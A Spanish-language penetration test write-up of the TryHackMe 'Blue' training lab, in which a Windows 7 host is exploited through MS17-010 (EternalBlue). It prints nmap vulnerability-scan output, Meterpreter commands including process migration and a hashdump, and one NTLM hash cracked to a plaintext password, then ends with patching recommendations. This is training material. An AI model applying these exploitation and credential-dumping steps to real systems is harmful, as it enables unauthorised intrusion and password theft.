TryHackMe - Blue

Informe de Penetración - Laboratorio

Cliente / Proyecto: TryHackMe / Blue
Fecha: 05/09/2025
Pentester: Rubo
Objetivo: Evaluación de seguridad en entorno controlado para prácticas de explotación.

1. Resumen Ejecutivo

Durante la evaluación se explotó la vulnerabilidad **MS17-010 (EternalBlue)** en el servicio SMB de un servidor Windows.

- **Acceso inicial:** servicio SMB (445).
- **Escalada de privilegios:** explotación directa otorgó acceso como **NT AUTHORITY\SYSTEM**.
- **Pivoting:** no se realizó en este laboratorio.

  Impacto simulado: acceso remoto total al sistema con control absoluto sobre la máquina víctima.

2. Alcance y Metodología

Alcance:

- Dirección IP: `10.10.52.151`
- Sistema Operativo detectado: Windows (versión vulnerable a MS17-010).
- Servicios expuestos: `445/tcp SMB`

Metodología (basada en PTES/OSSTMM):

1. **Reconocimiento** → `ping`, `nmap`.
2. **Enumeración** → `nmap --script vuln -p445`.
3. **Explotación** → `Metasploit` módulo `ms17-010`, módulo `multi/mange/shell_to_meterpreter`
4. **Post-explotación** → Acceso con privilegios SYSTEM, lectura de flags.

3. Hallazgos Técnicos

3.1 Vulnerabilidad MS17-010 (EternalBlue) en SMB

- **Severidad:** Crítica
- **Evidencia:**
  `nmap --script "vuln" -p445 10.10.52.151``

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nmap --script "vuln" -p445 10.10.52.151
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 20:17 CEST
Nmap scan report for 10.10.52.151
Host is up (0.049s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 15.69 seconds
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : JON-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter >

meterpreter > migrate 652
[*] Migrating from 2956 to 652...
[*] Migration completed successfully.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter > fb43f0de3
```

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

```
ffb43f0de35be4d9917ac0cc8ad57f8d
```

I'm not a robot reCAPTCHA Privacy - Terms

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
ffb43f0de35be4d9917ac0cc8ad57f8d	NTLM	alqfna22

Color Codes: Green: Exact match, Yellow: Partial match, Red: Not found.

- **Impacto:** Ejecución remota de código con privilegios de **SYSTEM**.
- **Recomendación:** Aplicar el parche de seguridad MS17-010, actualizar el sistema operativo y deshabilitar SMBv1.

4. Impacto en el Negocio (adaptado al laboratorio)

- **Crítico:** Acceso remoto total al sistema Windows con privilegios SYSTEM.
- **Alto:** Compromiso de todos los archivos y servicios de la máquina.
- **Medio:** Riesgo de pivoting hacia otras máquinas de la red.

5. Recomendaciones Globales

1. Aplicar parches de seguridad pendientes (MS17-010).
2. Deshabilitar SMBv1 en entornos Windows.
3. Segmentar la red para limitar la exposición de servicios SMB.
4. Implementar IDS/IPS para detectar explotación de vulnerabilidades conocidas.
5. Mantener un plan de gestión de parches y monitoreo de seguridad.

6. Conclusión

El atacante identificó el servicio **SMB vulnerable a MS17-010** en el puerto 445, utilizó **Metasploit** para explotarlo y obtuvo acceso remoto con privilegios de **SYSTEM**.

Camino seguido: Reconocimiento → Enumeración SMB → Explotación MS17-010 → Acceso SYSTEM.
Resultados: Se demostró que un sistema sin parches críticos puede ser completamente comprometido de forma remota.

*Tabla de Severidades

Vulnerabilidad	Servicio	Severidad	Impacto
MS17-010 (EternalBlue)	SMB (445)	Crítica	Acceso total con privilegios SYSTEM